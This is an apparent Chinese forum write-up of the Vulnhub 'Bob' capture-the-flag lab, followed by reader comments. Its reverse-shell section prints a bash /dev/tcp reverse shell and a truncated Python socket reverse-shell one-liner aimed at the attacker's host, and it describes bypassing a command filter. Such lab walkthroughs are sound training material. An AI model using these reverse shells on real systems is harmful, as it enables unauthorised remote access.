Vulnhub - Bob 靶机渗透攻略

Ea5ter / 2018-09-25 22:12:27 / 浏览数 4235 安全技术 CTF 顶(0) 踩(0)

环境准备

靶机镜像下载地址： https://download.vulnhub.com/bob/Bob_v1.0.1.ova
kali 主机 IP ：196.168.10.128
Bob 靶机 IP ：196.168.10.129

信息收集

先使用 `nmap -sP 196.168.10.0/24` ，扫描同一网段下存活的主机。

发现靶机 IP 196.168.10.129。
接下来使用 `nmap -sS 196.168.10.129` ,扫描靶机的开放端口。

只开放了一个 80 端口，直接访问。

看上去是某个学校的主页。点击" News"，来了解下这个学校最近发生了什么事？

这条最近的新闻大概说的是：最近学校被黑客入侵造成了一定的混乱，而校方采取了雇佣新的 IT 人员和禁止外部登陆的手段来处理这次事件。
我们点击"Login"，果然外部登陆被禁止了。

再从" Contact Us"中了解下 IT 部门。

我们的主角 Bob 正在其中。
至此，我们对这个靶机已有了一个大概的认识，接下来将进行更深一步的探索。

后台扫描

使用御剑对其后台进行扫描。

发现了存在 robots.txt，直接进入。

依次访问这些链接。

一个命令执行页面，输入"whoami"有"www-data"的回显。看起来我们的突破口就在这，但是怕遗留什么信息，我们还是看下其他几个页面。

这是 Bob 对其他 IT 部门的人的留言，我们从中可以知道：服务器上运行有 Web Shell（就是我们刚刚发现的）、学校现在的主机是 Linux
。剩下的信息好像没有什么利用价值，也就不多说了。

反弹 shell

回到"dev_shell.php"，尝试用命令 `ls` ，回显 `Get out skid lol` 。看来一些命令是被 ban 掉了。

bash 反弹

接下来尝试反弹 shell 。在主机上使用`nc -lvp 80`开启监听，尝试用 bash 反弹：`bash -i >& /dev/tcp/196.168.10.128/80 0>&1`
，主机没有回显，同时网页也没有警告，猜测是没有权限执行。

python 反弹

使用 `whereis python` 判断是否有 python 环境。

nice ！python 反弹一句话：

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("196.168.10.128",80));os.
```

又被过滤了，猜测其过虑了什么？经过多次实验发现是";"被过滤了。

那我们就用 `msfvenom` 获取没有";"的反弹一句话。

再使用 `python -c 'import pty; pty.spawn("/bin/bash")'` 使页面变得更好看

使用命令 `ls -la` 我们还可以看到“dev_shell.php”页面同时存在源码泄露。

通过分析源码我们还可以获得更多的利用姿势，不过在这里就不细述了。

寻找 flag

在本机目录下查看发现了 flag.txt ，很显然要 root 权限才能查看。

接下来就是不断地寻找了，在 `home` 目录下我们看到了 bob 的文件夹，而其它三个则是 IT 部门中的其他三个成员。
进入 bob 文件目录，我们在 `Document` 下发现了有意思的东西：

“login.txt.gpg”是一个加密的 txt 文件，使用 `gpg -d login.txt.gpg` 尝试解码。

看来我们现在并没有权限使用命令 `gpg` ，所以我们继续查看其他文件。
“staff.txt”记录了 bob 对其他几个员工的看法：

看起来 Elliot 好像很喜欢和 Bob 对着干，我们等下可以去他的文件目录下看看。
Secrect 目录一路直下，最后在 notes.sh 中发现了一首藏头诗：

并提出密码“HARPOCRATES”。推测是之前“login.txt.gpg”的密码。

寻找用户

进入 Elliot 的目录，一眼就看到了“theadminisdumb.txt”，打开查看。

这个 Elliot 看不起 Bob 并将自己的密码改为了：theadminisdumb 。
使用命令 `su` 登陆用户，用 `gpg` 解锁之前的“login.txt.gpg”依旧出现了警告“gpg: decrypt_message failed: No such file or directory”，难道是因为反弹会话窗口功能不足的问题吗？既然有了用户账号那会不会有 ssh 服务呢？
使用 `nmap -p- -sV 196.168.10.129` 对靶机端口进行更详细的扫描：
成功在25467端口发现了 ssh 服务！使用 ssh 登陆用户：

get flag

用之前的密码解锁“login.txt.gpg”，得到 bob 的密码。

登陆 bob 账号成功 get flag 。

上一篇：从一道 CTF 题看 Node.j... 下一篇：MFA多因素验证绕过和提权

1. 7 条回复

r0****@163.com 2018-09-26 12:58:09

不错哦。。。。

0 回复Ta

混沌黑 2018-09-26 18:31:26

靶机影响访问不了，艰难

0 回复Ta

落花四月 2018-09-26 19:29:26

大佬我想知道这个靶机怎么安装的
可以写一下文章吗？？？

0 回复Ta

Ea5ter 2018-09-26 23:22:28

@落花四月 下载那个镜像，解压后用 VMware 打开 .ovf 文件，导入后就可以打开了~

0 回复Ta

花花世界1201 2018-10-11 10:30:17

@Ea5ter 靶机镜像链接无法访问了，能重新发一个吗

0 回复Ta

花花世界1201 2018-10-11 10:52:44

找到靶机链接了，把原链接中Bob_v1.0.1.ova去掉即可，访问：https://download.vulnhub.com/bob/ 即能下载靶机

0 回复Ta

north 2018-12-04 17:55:31

是不是图挂了啊，好多图看不到啊

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板